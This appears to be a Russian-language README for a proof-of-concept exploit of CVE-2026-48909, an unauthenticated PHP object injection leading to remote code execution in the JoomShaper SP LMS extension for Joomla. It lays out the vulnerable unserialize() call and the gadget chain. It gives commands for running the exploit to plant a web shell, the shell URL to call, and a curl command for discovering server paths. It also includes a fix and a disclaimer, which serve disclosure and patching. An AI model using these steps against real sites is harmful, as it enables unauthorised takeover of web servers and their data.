
Эксплойт для подтверждения концепции CVE-2026-48909: неаутентифицированное удаленное выполнение кода через внедрение PHP-объектов в JoomShaper SP LMS. Включает рекомендации по обнаружению, эксплуатации и устранению.
Неаутентифицированное удаленное выполнение кода через PHP Object Injection в JoomShaper SP LMS (com_splms) ≤ 4.1.3 для Joomla CMS.
Автор: Amin İsayev / Proxima Cyber Security
SP LMS — популярное расширение Joomla для управления обучением от JoomShaper с более чем 100 000 установок. Версии ≤ 4.1.3 передают cookie lmsOrders напрямую в unserialize() без какой-либо проверки, что позволяет неаутентифицированному злоумышленнику внедрить вредоносный PHP-объект и достичь удаленного выполнения кода через нативную цепочку гаджетов Joomla.
components/com_splms/models/cart.php строка 28:
$cookie = Factory::getApplication()->input->cookie;
$raw = $cookie->get('lmsOrders', base64_encode(serialize(array())));
$decoded = base64_decode($raw);
$cartItems = unserialize($decoded); // ← недоверенный пользовательский ввод
Cookie lmsOrders декодируется из base64 и передаётся напрямую в unserialize(). Злоумышленник полностью контролирует десериализуемый объект.
Класс FormattedtextLogger Joomla предоставляет гаджет:
lmsOrders cookie (контролируется злоумышленником)
└─► unserialize() [cart.php:28]
└─► FormattedtextLogger.__destruct() [гаджет Joomla]
└─► initFile() → File::write($path, $format)
└─► PHP-код записывается на диск → RCE
Примечание: RCE требует Joomla < 5.2.2.
В Joomla 5.2.2 исправленFormattedtextLogger.__wakeup()(см. PR #44428).
PHP Object Injection всё ещё существует в com_splms ≤ 4.1.3 на всех версиях Joomla.
Input\Cookie::get() Joomla по умолчанию применяет фильтр cmd, удаляя символы +, / и = из значения cookie — символы, присутствующие в стандартном base64. Эксплойт использует:
$, _, {, }, \n)= в padding)/ и + из вывода base64python3 CVE-2026-48909.py https://target.com
[*] Цель : https://target.com
[*] Путь : /index.php?option=com_splms&view=cart
[*] Проверка : lmsOrders=Tzo4OiJzdGRDbGFzcyI6MDp7fQ==
[УЯЗВИМО] HTTP 500 на проверке vs 200 на безвредной — unserialize() вызывается из cookie
[!] Немедленно обновите SP LMS до >= 4.1.4.
python3 CVE-2026-48909_exploit.py https://target.com /var/www/html/tmp/x.php

Шелл активен по адресу
https://target.com/tmp/x.php?c=id
Поиск пути на сервере (если неизвестен):
# Хостинг cPanel — путь можно получить из страниц ошибок Joomla
curl -sk "https://target.com/administrator/" | grep -oP '\/home\d*\/[^"<\s]+'
# Часто используемые пути:
# /var/www/html/tmp/x.php
# /home/USER/public_html/tmp/x.php
# /var/www/vhosts/DOMAIN/httpdocs/tmp/x.php
pip install requests
Python 3.10+
lmsOrders перед десериализацией:// НЕ используйте unserialize() для данных, контролируемых пользователем
// Используйте json_encode/json_decode
$cartItems = json_decode(base64_decode($raw), true) ?? [];
Данный инструмент опубликован исключительно в образовательных целях и для авторизованного тестирования безопасности.
Автор не несет ответственности за любое неправомерное использование или ущерб, причиненный данной программой.
Не используйте против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения.
Amin İsayev / Proxima Cyber Security — 2026
| Поле | Подробности |
|---|
| CVE ID | CVE-2026-48909 |
| GHSA | GHSA-gf8c-xmwj-whrh |
| Затронутые версии | SP LMS (com_splms) 1.0.0 – 4.1.3 |
| Исправлено в | SP LMS ≥ 4.1.4 |
| Требования к Joomla | < 5.2.2 (цепочка гаджетов исправлена в 5.2.2) |
| CVSS 4.0 | 9.5 Critical — AV:N/AC:L/AT:P/PR:N/UI:N |
| CWE | CWE-502: Десериализация недоверенных данных |
| Требуется аутентификация | Нет |
| Раскрыто | 2026-05-26 |
| Опубликовано | 2026-06-20 |